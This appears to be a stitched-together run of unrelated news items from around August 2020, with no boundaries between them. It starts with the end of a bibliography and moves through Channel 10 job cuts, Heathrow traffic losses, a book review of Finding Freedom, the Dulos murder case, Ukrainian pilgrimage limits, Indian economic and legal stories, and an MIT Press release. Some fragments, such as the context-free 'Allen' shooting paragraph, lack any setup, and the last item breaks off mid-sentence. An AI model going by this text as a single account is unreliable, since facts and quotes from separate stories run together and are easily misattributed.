59-72. Newcastle upon Tyne: Cambridge Scholars Publishing. Ungar, S. (1998) Hot crises and media reassurance, British Journal of Sociology, 49, 3656. https://10.2307/591262 US National Library of Medicine. 1947. Easy to Get Film by the US Army Service Forces. https://www.youtube.com/watch?v=T-q30cMxRgQ Van Arsdall, Anne. 2008. Rehabilitating Medieval Medicine. In Misconceptions about the Middle Ages, edited by Stephen J. Harris and Bryon L. Grigsby, 135-141. New York and London: Routledge Walston Joseph, Terra. 2016. Victims of Global Capitalism in Margaret Atwoods Dystopian Imaginary. In The age of dystopia: one genre, our fears and our future, edited by Louisa Mackay Demerjian, 35-46. Newcastle upon Tyne: Cambridge Scholars Publishing. Wells, Peter S. 2008. Barbarian to Angels. The Dark Ages Reconsidered. New York and London: W.W. Norton and Company. Walsh, Fergus. 2014. Antibiotic resistance: Cameron warns of a medical dark ages. BBC, July 2, 2014. https://www.bbc.com/news/health-28098838 Share this: Share Email Facebook Twitter Reddit Tumblr LinkedIn [view academic citations] [hide academic citations] Channel 10's decision to swing the axe as brutally as it has should clear one of the common misconceptions the public - and the stars themselves - have about a career in commercial television. That is if you're a household name, the kind of star who's stopped for selfies at Westfield, your job is as safe as, well, the nightly news. Because the harsh reality is that in 2020, even the nightly news bulletin probably isn't safe anymore. Not in a post-COVID-19 world, with advertising dollars fleeing 'old' media, and viewers increasingly choosing streaming services such as Stan and Netflix over network options peppered with annoying advertising and rigid schedules. PICTURED: Studio 10 has made Kerry-Anne Kennerley (centre left) redundant and Joe Hildebrand (centre right) is currently in contract negotiations PICTURED: Wake up was a short-lived Channel 10 breakfast show that premiered in 2013 with newsreader Natarsha Belling (far right) one of the household names axed by executives on Tuesday Rob McKnight said The Circle's Chrissie Swan (far left), Denise Drysdale (centre left), Gorgi Coghlan (centre right) and Yumi Stynes (far right) had a committed audience but the show was still cut after three years due to internal politics and budget issues Australians have choice, so everyone is now a prisoner of ratings. And Channel 10's were abysmal. The network has suffered blow after below in 2020. Shows have been cut; its digital news website, 10Daily, closed. But arguably the biggest hit came in March, at the height of the coronavirus pandemic, when it was revealed Studio 10 had just 50,000 viewers. The common business logic to network television is breakfast, mornings and the evening news to drive your day. To put those viewer numbers in context, Sunrise has seen audiences surge beyond 550,000, while Nine's Today show has hit 350,000 and the ABC hit a respectable national average of 367,000 as Australians desperately sought news during these unprecedented times. So while Kerri-Anne Kennerley may always remain an icon of Australian television, that status was never going to save her with the station's ratings and subsequent financial losses. PICTURED: Weatherman Tim Bailey has also been made redundant despite his large fan base and will be missed PICTURED: Television icon Kerri-Anne Kennerley (KAK) has lost her job as co-host on Studio 10 as ratings hovered around the 55,000 mark compared with record-breaking figures for ABC Breakfast Tim Bailey may well be the most famous weatherman in Australia, with fans tuning in each night to see which beach he's doing the weather from. And Natarsha Belling may have been one of the industry's biggest stars, widely praised for her consummate on-air professionalism since joining in 2007. None of that matters when the station you are part of is losing $227 million a year, as it did in 2019. You'd hate to think how bad they are going to be in 2020. Or 2021. What shouldn't be forgotten is it wasn't just the big names who were axed on Tuesday. Another 25 professionals will also lose their jobs as the production is centralised in Sydney and Melbourne. PICTURED: Newsreader and presenter Natarsha Belling had been with the network since 2007 and will be sorely missed South Australia's Rebecca Morse loses her job presenting the news - and the state a local flavour to its news coverage. Rather than the latest on a fire in Glenelg, viewers in Adelaide will likely be forced to watch a stabbing in western Sydney. The move is almost taunting viewers in smaller states to go to another network for local coverage - or turn off the television completely. Which many undoubtedly will. PICTURED: Adelaide newsreader Rebecca Morse has been made redundant under the cuts as production is moved to Sydney and Melbourne Even the weather didn't survive unscathed, often a touchy point for regional viewers who rely on a state service to provide updates - and correctly pronounce the name of their town or suburb. Former Channel 10 studio producer Rob McKnight said it was sad to see his old colleagues leave the network. PICTURED: Former Studio 10 executive Rob McKnight now runs TV BlackBox and said ratings for the show have been in the 40,000 and 50,000 viewer mark since last year He said Studio 10 had an audience of 120,000 just four years ago - and can do so again. But the truth is 10 has been struggling to find its groove in breakfast and mornings for nearly a decade. Breakfast with Paul Henry and Kathryn Robinson started in 2012 and somehow made it to November that year before being axed. They then launched Wake Up the following the year - but that only lasted six months. Ten tried The Circle for three years from 2010, and despite the show's two Logies and even a gold nomination for host Chrissie Swan, it was unceremoniously dumped. McKnight commented on the short-lived predecessors of Studio 10 and said Breakfast and Wake up weren't great shows. 'The Circle had a committed audience but their were other political and budget factors at play and that's why it was cancelled,' he said. Strong-performing breakfast shows are vital for TV advertising as they lead the day for viewers and bring in big dollars. Insiders say Studio 10 is one of the cheapest morning shows to produce, making it lucrative from an advertising point of view, but the abysmal ratings means the show still can't make a profit. Ten isn't the only station being slammed with cuts. Seven News announced 50 jobs were cut in May and channel Nine cut at least a dozen jobs and shortened regional news bulletins. Even the ABC, flush with $1billion in funding from the taxpayer, has faced a steady flow of redundancies in the last few years, with at least 250 roles lost in 2020. As the advertising market continues to shrink and viewers look for their news online, executives are faced with a lose-lose situation. McKnight said days like Tuesday were hard on everyone in the industry. 'I've seen the effects redundancies can have on people. It's never an easy time. The people making the decisions, they are tough decisions for them to make too.' Passengers have their temperature taken as they queue at a British Airways check-in desk at Heathrow airport in London. Photo: Daniel Leal-Olivas/AFP via Getty The boss of Heathrow, one of Britains largest international airports, has warned that the UK economy is being strangled and that tens of thousands of jobs are being lost due to Britain being cut off from major travel destinations US, Canada and Singapore. In a statement on Tuesday, John Holland-Kaye, CEO at Heathrow said: "Tens of thousands of jobs are being lost because Britain remains cut off from critical markets such as the US, Canada and Singapore. The government can save jobs by introducing testing to cut quarantine from higher risk countries, while keeping the public safe from a second wave of COVID. The group reported an 88% decline in passengers year-on-year at 860,000 for July. While this reflected an uptick in passenger traffic on the month, due to the UK government's creation of the first 'travel corridors' on 4 July, it is still significantly down on the year. It noted that more than half of these passengers, over 480,000, went to European destinations due to those places being quarantine free but opening up travel to major destinations, namely US, Canada, and Singapore, would allow a greater volume of passengers to travel. READ MORE: UK unemployment remains near record lows even as extra 80,000 jobs lost The vast majority of Heathrow's route network (60%) remains grounded, requiring a 14-day quarantine on arrival, preventing the UK from travelling to and trading with these countries. Airport testing could safely open up these routes and kickstart the UK's economic recovery, Heathrow said in its statement. Heathrow has insisted that airport testing would be better than quarantine measures. It highlighted how it had already unveiled a range of measures such as UV robots, UV handrail technology, Fly Safe pit stops, and Hygiene technicians to reduce the risk of contracting or transmitting COVID-19 at the airport. On 9 August, the travel industry urged the government to rethink its 14-day quarantine policy as rising cases of coronavirus is now putting popular travel destinations, such as France and Greece, at risk of that policy being applied. Spain, Belgium and Andorra are also at risk of falling under that quarantine policy. Story continues On Sunday (9 August), Britains confirmed coronavirus cases rose by 1,062 the first time the daily total has risen above 1,000 since late June. Last month, the International Air Transport Association (IATA) warned that it will take five years for the travel industry to return to the pre-pandemic level of passenger demand. The trajectory of new COVID-19 cases has been worse than we expected in our April forecast update. While business confidence (and we think GDP growth) has rebounded, consumer confidence has not. We will likely see a degree of pent-up demand to visit friends and family in the near-term as travel restrictions are lifted but we are less optimistic about the return of business (in particular) and leisure travel. As a result, we have revised down our passenger forecast over the next five-year period. In our new forecasts, we expect RPKs to decline by a little more than 60% in 2020 compared to 2019, with a return to pre -COVID levels not occurring before 2024. It predicts that the global airline industry will lose $84.3bn (64.5bn) in 2020. Police said Allen fired shots at officers chasing him on a block not far from Allens address. He was taken to University of Chicago Medical Center and is expected to survive, authorities said, but it is unknown whether he will be able to attend court in person. After all the sound and fury, at last the book itself delivered to my desk via the click of a computer mouse as if the risk of handling it might be every bit as explosive as the bombshell revelations it was said to contain. How do we know this? Because the 'fact-driven' authors say so themselves, claiming that Finding Freedom is the fruit of hundreds of hours of conversations and interviews with 'more than 100 sources'. But after ploughing through all 354 pages many will be left wondering if those numbers are mere window dressing and that there are actually only two sources who mattered Harry and Meghan themselves. Certainly, page after page drips with self-pity and indignation sandwiched between dollops of oily sycophancy. What possessed the Sussexes, however tacitly, to support the authors of this book is utterly baffling, writes Richard Kay. Pictured: Prince Harry and Meghan Markle This is not a spectacular coup of the kind that Andrew Morton dished up with his jaw-dropping 1992 account of the misery of the Princess of Wales in Diana: Her True Story. What we have here amounts to a moan-athon. What possessed the Sussexes, however tacitly, to support the authors of this book is utterly baffling. If they believed that the primary aim was to portray 'the real Harry and Meghan' a couple who claim they have been victims of inaccurate and mischievous reporting and to promote their philanthropic and activist agendas then they have been spectacularly let down. For what emerges over 24 chapters is a partial and one-sided account, a story of score- settling and swipes at Harry's family, at the institution of monarchy, royal aides and the media. And those admirable charitable endeavours? They are simply swamped by bitter recriminations. I fear it will backfire horribly on them, inviting both ridicule and scorn with the only real winners being the authors cashing in on the hype it has created. There are some truly cringe-making moments: how on their romantic break to the African bush in Botswana Harry was 'delightfully surprised' by his then girlfriend's 'down to earth attitude.' Why so? Because while camping she cleaned her face with baby-wipes and 'happily wandered into the woodlands if she needed a bathroom break'. The 'fact-driven' authors claim that Finding Freedom is the fruit of hundreds of hours of conversations and interviews with 'more than 100 sources'. Pictured: Authors Omid Scobie and Carolyn Durand We learn that Meghan 'Face-times' from the bath, what she has for breakfast (steel-cut oats with almond or soya milk, dressed with banana and agave syrup) and how she 'rolled her eyes' when reading a tweet from US president Trump that said he would not pay their security bills. In the scheme of the major issues that the book purports to address Harry's fractured relationship with his brother William, for example does this trivia matter? Actually yes. For not only does it fuel the suggestions that the couple either hand-fed these anecdotes so precise and so private to authors Omid Scobie and Carolyn Durand themselves, or allowed others to do so on their behalf, it also invites the kind of intrusion they are so quick to deplore. The fact they have said nothing beyond the routine denial that they had not been interviewed for the book leaves readers to make up their own minds. Because for a couple so obsessive about their privacy, the book is all the more remarkable because it is, from start to finish, an extraordinary invasion of their own privacy. Pictured: The explosive royal biography, Finding Freedom At the same time it is laced with a special sense of grievance. This is a couple who can take offence from the set of someone's face at a public event to refusing to go to a wedding because a newspaper had speculated about Meghan's bottom. The wedding was that of Pippa Middleton, the Duchess of Cambridge's famously perky sister and a newspaper had jokily headlined its story: 'Meghan v Pippa in the Wedding of the Rears'. That was slight number one. Number two occurred at the Commonwealth Day service at Westminster Abbey when Meghan tried to make eye contact with her sister-in-law Kate but the duchess apparently barely acknowledged her. According to a friend, Meghan never wanted to set foot in 'anything royal ever again' after that. There are countless more examples in this petty vein, not least the absence of their picture on the Queen's desk as she gave her 2019 Christmas message. They failed to grasp the significance of those photographs that were there Charles, Camilla, the Cambridges and their children in other words, the direct heirs to the throne. And take the great air freshener row. Just what kind of fragrances had Meghan requested to spritz up musty old St George's Chapel on their wedding day in May 2018? At the time newspapers reported Meghan had insisted on having spray-bottle air fresheners. Not so, says the book: The duchess's 'discreet, Baies-scented air diffusers [which] had been okayed by all parties involved'. Prince Charles, Camilla and the Duchess of Sussex attend the Prince of Wales' 70th Birthday Patronage Celebration held at Buckingham Palace in May 2018 Pictured: The Queen with Prince Harry and Meghan during a flypast to mark the centenary of the Royal Air Force in 2018 Then there is the row that simmers menacingly throughout the tome. It concerns William and 'snobbishness' or at least that's what the authors quote a source telling them. It apparently was triggered by William's brotherly nod to Harry to take all the time he needed to get to know 'this girl'. I should say that the Harry I have known and written about for 35 years would never ever have used the word snobbish to describe William. But here it is set in tablets of stone that will haunt these once closest of brothers for years. Finding Freedom claims that the very future of the monarchy could be imperilled by the breach between William and Harry. It says that Harry felt royal aides 'pushed him under a bus' in order to protect William by prioritising his work over Harry's. This is, of course, all saccharin-wrapped as a fairy tale of a prince meeting the love of his life with the absence of 'happy ever after' always someone else's fault. Meghan herself is presented as a paragon. Who could resist her? Certainly not Harry, who in the four years since they met, has gone from a fun-loving royal the most popular member of the 'Firm' to the angst-ridden 'woke prince' of LA. It is likely the book will make particularly hurtful reading for the Queen, the grandmother Harry has said he 'adores', if indeed a copy finds its way to Balmoral, where she has just begun her summer break. And it will no doubt bring back painful memories of the Diana years which soured many a holiday on Royal Deeside. So will she read it? Says a lady in waiting firmly: 'She won't!' That could be the wisest verdict on this whole sorry saga. STAMFORD Michelle Troconis will not have to wait much longer for a judge to hear her attorneys argument for the removal of the electronic monitoring device she has been required to wear since being charged in the Jennifer Dulos case. Attorney Jon Schoenhorn was notified Monday that his clients appearance in state Superior Court in Stamford has been moved up to Aug. 28 when a judge will address the series of motions he has filed in recent months. The notification came after the state's Appellate Court ordered the lower court to schedule the motions for a hearing before Sept. 4. Im finally getting a hearing, Schoenhorn said. I expect to prevail. I have compelling reasons why these conditions should be removed. Troconis last appeared in court in February before the COVID-19 pandemic stalled most judicial functions in recent months. In an interview with Hearst Connecticut Media on Monday, Schoenhorn said his clients safety was at risk when her probation officer apparently required her to find a place to charge the GPS monitoring device at the height of last weeks tropical storm. Schoenhorn said his client lost power during the storm and was told by the probation officer to find a place to charge the device because the battery was running low. She had to drive for an hour to find somewhere with electricity, Schoenhorn said. I cant imagine anything more punitive. It wasnt the first time Schoenhorn has complained about the probation officer. In a letter written last month to Judicial Branch officials, Schoenhorn contended the probation officer has questioned the reason for legal meetings that take place outside my office. If he incorrectly believes that he is acting in accordance with the law, I ask you to put a stop to this practice, Schoenhorn wrote in the letter, which was obtained by Hearst Connecticut Media. Schoenhorn also contends that if the probation officer is sharing information on his clients whereabouts with law enforcement, it would constitute a direct interference with my representation. For months, Schoenhorn has been trying to get a judge to hear motions related his clients release on bond. Schoenhorn has even appealed to the state Appellate Court, which denied his request to address the motions. Schoenhorn filed a second request when his clients August court date was postponed to Oct. 1, asking the Appellate Court to order Judicial Branch officials to remove the electronic monitoring until a Superior Court judge can hear the motions. The Appellate Court issued an order Aug. 7, granting Schoenhorn's request to have the hearing on the bond conditions held in a timely manner. The Appellate Court did not rule on the motions. The hearing in Superior Court will now happen later this month. Troconis and attorney Kent Mawhinney, who was also charged in January with conspiracy to commit murder, are the remaining defendants in the case. Fotis Dulos, the estranged husband of Jennifer Dulos, died Jan. 30 from an apparent suicide as he faced murder, kidnapping and other charges in the case. According to arrest warrants, police believe Fotis Dulos used an employees pickup truck to drive from his Farmington home to New Canaan the morning of May 24, 2019. Police said Fotis Dulos parked the truck near Waveny Park and rode a vintage French bicycle to his estranged wifes home on Welles Lane. According to arrest warrants, Fotis Dulos was lying in wait when his estranged wife returned from dropping off their children at school. Police said Jennifer Dulos was the victim of a serious physical assault and has been presumed dead based on the blood evidence found in her garage, the arrest warrants state. Around the time Jennifer Dulos was reported missing that night, police said Hartford surveillance cameras captured two people resembling Fotis Dulos and Troconis making a series of stops along Albany Avenue. The man was seen dumping trash bags and a license plate that was later discovered to be registered to Fotis Dulos, according to arrest warrants. The bags contained Jennifer Dulos blood and clothing, the arrest warrants state. Video also captured Fotis Dulos and Troconis taking the employees pickup truck to a car wash in Avon a few days after police believe Jennifer Dulos was killed, according to arrest warrants. Police later discovered Jennifer Dulos blood on one of the vehicles seats, arrest warrants state. The host of Good Evening Ghana show on Metro TV has said Prof. Kwamena Ahwoi should have apologised for endorsing a coup in the Provisional National Defence Council (PNDC) era. Paul Adom-Otchere said that step would be a deterrent for the youth against considering toppling constitutional government. Commenting on the controversial Working with Rawlings book he argued that all people who were associated with military juntas must include unqualified apologies for undermining the nations constitutional rule in books they write. They must begin with the recognition of an apology of endorsing an illegal act of overthrowing the constitutionally elected government of Dr Limann. Going forward, posterity and the younger people must be told that something is wrong and the other is right so when Kwamena Ahwoi writes a book, I expect that he renders an unqualified apology, he said. Speaking Joy FMs Super Morning Show, the journalist criticised the obvious omission. The former Minister for Local Government and Rural Development (1990 to 2001) and Director of research for the NDC, Prof Ahwoi launched his book, Working with Rawlings on July 31. The release of this book has been met with severe controversy and criticism of some parts of the book. In his view, Paul said it is disappointing that this was excluded in Prof Ahwois book. He noted that all participants of the coup must own up and condemn their actions to discourage the undermining of constitutional rule in the future. I was hoping that he would but my hopes were dashed, The matters that he aversed on pages 11 and 12 are matters that e should be apologising for. Mr Adom-Otchere said. He also added that the book should have hailed Kwesi Pratt who protested the military revolution at the time. The book highlights Prof Ahwois relationship with the then, military ruler, Jerry John Rawlings. It also highlights outstanding events during his time in office. Source: Myjoyonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The foreign ministries of Ukraine and Israel are concerned about a possible mass pilgrimage of Hasidic pilgrims to Uman, Ukraine's Cherkasy region, in September to celebrate Rosh Hashanah, the Jewish New Year, Minister of the Cabinet of Ministers Oleh Nemchinov has written on Telegram. According to him, this issue was discussed at a meeting of the State Commission on Technogenic and Environmental Safety and Emergency Situations. "Between 5,000 and 10,000 Hasidic believers are expected [to visit Ukraine] this year. Given the epidemiological situation in Ukraine, this is of great concern to Ukraine and the Ministry of Foreign Affairs of the State of Israel," Nemchinov said. According to him, the commission instructed the Ukrainian Foreign Ministry to strengthen communication to inform foreign citizens about the restrictions currently in place in Ukraine. For its part, the Ukrainian Interior Ministry should strengthen security during the celebration of Rosh Hashanah. In addition, the State Border Guard Service was instructed to draw up the rules of stay in the country and inform foreigners about a possible ban on entry to Ukraine for several years if coronavirus lockdown restrictions are violated, the minister said. "In addition, it was emphasized at the commission meeting that in 2020, Ukrainian Christians and Muslims refrained from attending mass events during the celebration of their biggest religious holidays," Nemchinov added. As of August 11, Ukraine reported 83,115 cases of COVID-19, including 1,158 new cases recorded on August 10. On July 17, Prime Minister Denys Shmyhal said the government would fully consider the possibility of Hasidic pilgrims arriving in Ukraine this fall and would make a well-thought-out decision. The city of Uman, where Rebbe Nachman of Breslov, the founder of the Breslov Hasidic movement, was buried, is a site of mass pilgrimage for followers of his teachings. In autumn, 20,000-30,000 pilgrims from different countries come to the city to celebrate the Jewish New Year. This year, Rosh Hashanah falls on September 18-20. op Flagging fears that the country's GDP growth may even touch its lowest since independence in the backdrop of coronavirus pandemic, Infosys founder N R Narayana Murthy on Tuesday said the economy should be brought back on track and people should be prepared to live with the pathogen. He also pitched for developing a new system that should allow every player in every sector of the country's economy to operate at full steam with suitable precautions. "India's GDP is expected to shrink by at least five per cent. There is a fear that we may even reach the lowest GDP (growth) since independence, since 1947," Murthy said. The software icon was participating in a discussion on 'Leading India's Digital Revolution' during the 16th edition of Institute of Engineering and Technology's India Digital Conversations held virtually. "The global GDP has gone down. Global trade has shrunk, global travel has almost disappeared. The global GDP is likely to shrink between 5 per cent and 10 per cent," he said. Murthy said that right from the first day of the national lockdown on March 24 his view had been that people have to be prepared to live with the virus for three reasons -- there is no vaccine, no cure for coronavirus and the economy cannot be brought to a halt. The earliest possible vaccine was from Oxford University, which may be available in the country anywhere from six to nine months, he said. "But even if we are able to vaccinate 10 million people a day, it is going to take 140 days to vaccinate all the Indians. That is a long period to prevent the spread of the disease," Murthy said. "...we cannot make the economy come to a halt. Over all, 140 million workers have been affected by this virus. So the smartness is in defining a new normal. This normal should allow our economy to grow while moving on the earth and fighting the virus," the tech leader said. Stressing on developing a new system to deal with the current situation, he also laid emphasis on creating a health infrastructure for vaccinating everybody once a vaccine was available and working towards a cure for the new virus. "India has traditionally not invested sufficiently in public health. We have severe shortage both in talent and in material for a robust public health system. The state of our Institute of Public Health is a good data point," said Murthy. In the given system, Murthy said, social distancing, and use of masks were the best way to combat the virus. He, however, lauded the country for having done a decent job under the present circumstances. To bring the economy back on track, the Infosys founder suggested getting back the 140 million migrant workers who have gone back to their villages to their workplaces, mostly in urban India. His second advice was increasing the number of hospital beds and adding equipment for testing and taking care of the projected number of COVID-19 patients for three months and six months from now. "Even today there is a severe shortage of COVID-19 care facilities in second tier and third tier towns," said Murthy lamenting the demise of one of his relatives due to coronavirus in Hubballi, a north Karnataka tier-2 city and district headquarters. The 74-year-old tech leader also favoured amending laws and providing infrastructural facilities for companies which cannot use the work-from-home paradigm and increasing the public transport and public safety facilities for businesses and the public to operate 24 hours.Also Read: India should have coronavirus vaccine by December, says Adar Poonawalla Also Read: Coronavirus crisis: PM Modi holds virtual meeting with CMs of 10 states; key highlights The new open access journal also looks at antidepressants and risk of death or intubation with COVID-19 and seroprevalence between age groups and sociodemographic differences Today, open access journal Rapid Reviews: COVID-19 (RR:C19), published by the MIT Press, posted peer reviews of eight COVID-19 preprint studies in an effort to reduce misinformation and to elevate noteworthy and useful research for scientists, public health officials, journalists, and the public. These authoritative reviews cover a wide range of subjects, including: Neurological manifestations associated with COVID-19. Preprint | Review RRC19 Review Summary: Findings are informative for future intervention studies. Decision-makers should consider the claims in this study actionable with limitations to some methods and data. RRC19 Review Summary: Findings are informative for future intervention studies. Decision-makers should consider the claims in this study actionable with limitations to some methods and data. The effectiveness of the S1-Fc vaccine against COVID-19 live infection. Preprint | Review RRC19 Review Summary: Given the urgent need for a vaccine, this data is worth publishing, but the study has some defects, including the need for controls to enhance the quality of the study. RRC19 Review Summary: Given the urgent need for a vaccine, this data is worth publishing, but the study has some defects, including the need for controls to enhance the quality of the study. One of the only large-scale, population-based national serosurveys reported to date, including seroprevalence between age groups and sociodemographic differences. Preprint | Review RRC19 Review Summary: This study of Brazilian regions makes significant contributions to our understanding of COVID-19. RRC19 Review Summary: This study of Brazilian regions makes significant contributions to our understanding of COVID-19. Antidepressants and the risk of death or intubation in patients with COVID-19. Preprint | Review RRC19 Review Summary: Findings suggest antidepressants may contribute to the treatment of COVID-19, but it would require extensive research to validate the claims. RRC19 Review Summary: Findings suggest antidepressants may contribute to the treatment of COVID-19, but it would require extensive research to validate the claims. Whether younger Floridians are responsible for transmitting COVID-19 to older Floridians. Preprint | Review RRC19 Review Summary: The paper adds to existing evidence regarding transmission between age groups, but the argument is not strongly supported because of the model's simplicity and data limitations. RRC19 Review Summary: The paper adds to existing evidence regarding transmission between age groups, but the argument is not strongly supported because of the model's simplicity and data limitations. A portable diagnostic platform that will enable real-time case identification and epidemiological surveillance. Preprint | Review RRC19 Review Summary: This could be an indispensable molecular diagnostic solution for COVID-19. While promising, comparisons are needed. RRC19 Review Summary: This could be an indispensable molecular diagnostic solution for COVID-19. While promising, comparisons are needed. Public health response and early release for incarcerated individuals. Preprint | Review RRC19 Review Summary: A worthwhile contribution that effectively lays out epidemiological, legal, and moral arguments relevant to prisons. Should be read widely. RRC19 Review Summary: A worthwhile contribution that effectively lays out epidemiological, legal, and moral arguments relevant to prisons. Should be read widely. A study on the unprecedented role of preprints in the pandemic. Preprint | Review RRC19 Review Summary: Findings on the changing landscape of preprints are robust and informative, though there are some errors and misinterpretations. COVID-19 research often outpaces traditional peer-reviewed publishing, and with more than 20,000 preprints available across a variety of preprint servers, including medRxiv, bioRxiv, and SSRN, there is an urgent need for scholarly peer review to validate--or debunk--information before it is widely circulated. For the editorial team, led by editor-in-chief, Stefano M. Bertozzi, Professor of Health Policy and Management and Dean Emeritus of the School of Public Health at University of California Berkeley, it is gratifying to see a mix of papers that are representative of the mission of RR:C19. "One important aspect of our mission is its disciplinary inclusivity--and that is reflected in the first round of papers we have reviewed," explains Bertozzi. "They range from legal/bioethical perspectives to papers across the basic sciences, clinical medicine, and public health. Most of the papers are also quite recent, and thus, would have taken many more weeks to undergo peer review under more traditional models." Bertozzi credits this speed, in part, to an academic network of preprint screeners and a new Natural Language Processing tool developed by COVIDScholar, an initiative of UC Berkeley and Lawrence Berkeley National Lab that can quickly scan a large number of preprint repositories and identify relevant items to be peer reviewed. Once two or more reviews are available for a preprint, RR:C19 publishes them on an open access platform in a completely transparent process to make them readily available to journalists writing about promising COVID-19 research and to the public seeking information. RR:C19 is made possible by a $350,000 grant from the Patrick J. McGovern Foundation and hosted on PubPub, an open-source publishing platform from the Knowledge Futures Group. The editorial board for RR:C19 currently includes Paulin Basinga, Gates Foundation; Nancy Birdsall, Center for Global Development; Jeanine Condo, National University of Rwanda; Robert Gallo, University of Maryland School of Medicine, Global Virus Network; Patty Garcia, Cayetano Heredia University, Peru, University of Washington; Dean Jamison, UCSF Institute for Global Health Sciences, Disease Control Priorities Network; Jerome Kim, International Vaccine Institute; Ramanan Laxminarayan, Center for Disease Dynamics, Economics, and Policy, Princeton University; Santiago Levy, The Brookings Institution; Fenyong Liu, UC Berkeley School of Public Health; Felix Masiye, University of Zambia, University of Washington; Jonna Mazet, One Health Institute, UC Davis, UCSF; Michael Merson, Duke University; Art Reingold, UC Berkeley School of Public Health; Shankar Sastry, UC Berkeley; Mauro Schechter, Federal University of Rio de Janeiro, University of Pittsburgh, Johns Hopkins University; and Kathleen Sikkema, Columbia University School of Public Health. RR:C19 is actively recruiting potential reviewers and contributors. ### To learn more about this project and to sign up for future news and alerts, visit rapidreviewscovid19.mitpress.mit.edu Media Contacts Jessica Pellien Associate Director of Publicity Fortier Public Relations jessica@fortierpr.com Emily Paquin Abbas Communications Coordinator The MIT Press epabbas@mit.edu About the MIT Press mitpress.mit.edu Established in 1962, the MIT Press is one of the largest and most distinguished university presses in the world and a leading publisher of books and journals at the intersection of science, technology, art, social science, and design. MIT Press books and journals are known for their intellectual daring, scholarly standards, interdisciplinary focus, and distinctive design. About the UC Berkeley School of Public Health publichealth.berkeley.edu For 75 years and counting, the UC Berkeley SPH has been dedicated to making a transformative impact on the health of populations through its values of health as a right, strength through diversity, think forward, and impact first. To eliminate inequity and injustice that affects the health and dignity of all people, SPH is committed to radical public health collaborations that challenge conventional thinking, leverage technology, and build bridges between research, public policy, education, and action. About the Patrick J. McGovern Foundation mcgovern.org The Patrick J. McGovern Foundation is dedicated to improving lives globally with technology, data and AI. The Foundation is the legacy of IDG founder Patrick J. McGovern, who believed in the potential for technology to democratize information, improve the human condition and advance social good. About the Knowledge Futures Group knowledgefutures.org The Knowledge Futures Group, a nonprofit originally founded as a partnership between the MIT Press and MIT Media Lab, builds and sustains technology for the production, curation, and preservation of knowledge in service of the public good. MP Partap Singh Bajwa on Tuesday hit out at Police chief Dinkar Gupta accusing him of withdrawing his security cover because of political interference. Asserting that his threat perception was validated by several intelligence reports over the last few years, Bajwa alleged that a bogus threat assessment report was prepared by the police to rule out any threat to him. The government had last week decided to withdraw state security given to the Rajya Sabha member, saying he enjoys the central security cover and virtually faced no threat. A miffed Bajwa had accused Chief Minister Amarinder Singh of resorting to hitting below the belt by exposing his whole family to risk as he had criticising his government. I am compelled to highlight your complete abdication of professional integrity and impartiality in the discharge of your duties as the DGP of Police, Punjab, the parliamentarian said in a letter to Gupta on Tuesday. Bajwa said he was not writing the letter to seek restoration of police security. However, I am concerned with the politicisation of threat assessment reports and allotment of security to protectees, he wrote. Bajwa, a former chief, said he has been highlighting the politico-police-drug nexus, production and distribution of illicit liquor, under the alleged state patronage and rampant illegal mining in Punjab for the last few years. That my threat perception stands confirmed and validated by several intelligence reports over the past few years, however, it is evident that due to political interference and manipulation, a bogus threat assessment report was prepared overnight by the Punjab Police to rule out any threat, Bajwa wrote. Bajwa alleged that the state police apparatus was acting on the whims and fancies of the Punjab chief minister by solely furnishing their reports depending on his convenience. He asked Gupta why police security cover given to former chief minister Parkash Singh Badal, Shiromani Akali Dal chief Sukhbir Singh Badal and Akali leader Bikram Singh Majithia was not withdrawn on the same grounds of central security cover as was done in his case. Due to political interference, you (DGP) have withdrawn my security provided by the Punjab Police, contrary to all canons of propriety, independence and professional ethics and with utter disregard to established rules and regulations, he alleged. The fallacious report prepared by your intelligence department is motivated by political malafide, he further alleged. Bajwa, in another letter to Chandigarh DGP Sanjay Baniwal, wrote that the Punjab chief minister and the state's DGP will be solely responsible for any harm caused to his family due to the withdrawal of security cover. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The Supreme Court on Tuesday posted a petition challenging the merger of six Bahujan Samaj Party (BSP) legislators of Rajasthan Assembly with the Congress party for August 13 after it was informed that the issue with regard to the disqualification of the six lawmakers is pending consideration in the Rajasthan High Court. The bench headed by Justice Arun Mishra said, As the High Court is hearing the matter today and the parties have assured us that they are going to argue the matter, let the matter be argued before the High Court. The six MLAs represented by senior advocate Kapil Sibal sought permission of the bench to withdraw a transfer petition seeking transfer of the case before the HC to the apex court. The order was passed on a petition filed by Bharatiya Janata Party (BJP) MLA Madan Dilawar who challenged the September 18, 2019 merger of the six MLAs with Congress. Senior advocate Harish Salve appeared for Dilawar and told the apex court that a Division Bench of Rajasthan HC on August 6 fixed the matter for hearing by a single judge bench on August 11. But to scuttle this hearing, the six MLAs filed a transfer petition in the apex court for transferring his petition from the HC to the Supreme Court. The six MLAs - Sandeep Yadav (Tijara), Wajib Ali (Nagar), Deepchand Kheria (Kisangarh Bas), Lakhan Singh Meena (Karauli) and Rajendra Gudha (Udaipurwati) stated that the legal issues raised in Dilawars petition in the HC under examination of the top court in a 2015 appeal from a Gauhati High Court order in a case titled Mr. Mithou Krose v Imtilemba Sangtam. On Monday, the bench led by Justice Mishra ordered the transfer petition to be listed before the Court. Before the hearing could begin, advocate Amit Pai, the advocate-on-record who filed the petition for the MLAs, said, I have instructions to withdraw the petition. The Court permitted this request. Salve said, This is exactly why we came to Court as the matter is listed today before the HC. This Court can use its extraordinary power to order transfer of the petition from HC and decide whether the Speakers order approving the merger on September 18, 2019 and rejecting my petition to disqualify these six MLAs on July 29, 2020 is correct in law. In the meanwhile, the order of merger passed by the Speaker should be stayed as on the date of that order no disqualification plea against the MLAs was pending. The BSP led by senior advocate Satish Chandra Mishra pointing to the Congress said, They have wiped out my party in the Rajasthan Assembly.. He supported Salve and said that for the merger of the six MLAs with Congress to be recognized, past rulings of SC held that there should be a split in the party at the national level. Only then, one-third of party members can merge with any political party, he added. Mishra claimed that the party was not heard by the HC and they could not seek disqualification of their MLAs as Rules of Procedure in the Rajasthan Assembly permits this right only to a member of the Assembly. The bench, also comprising Justices BR Gavai and Krishna Murari Sibal told the lawyers appearing in the case, You argue out before the High Court. In case an adjournment is sought we will hear the matter. We will list the petition (by Dilawar) on August 13. Senior advocate Rajeev Dhavan 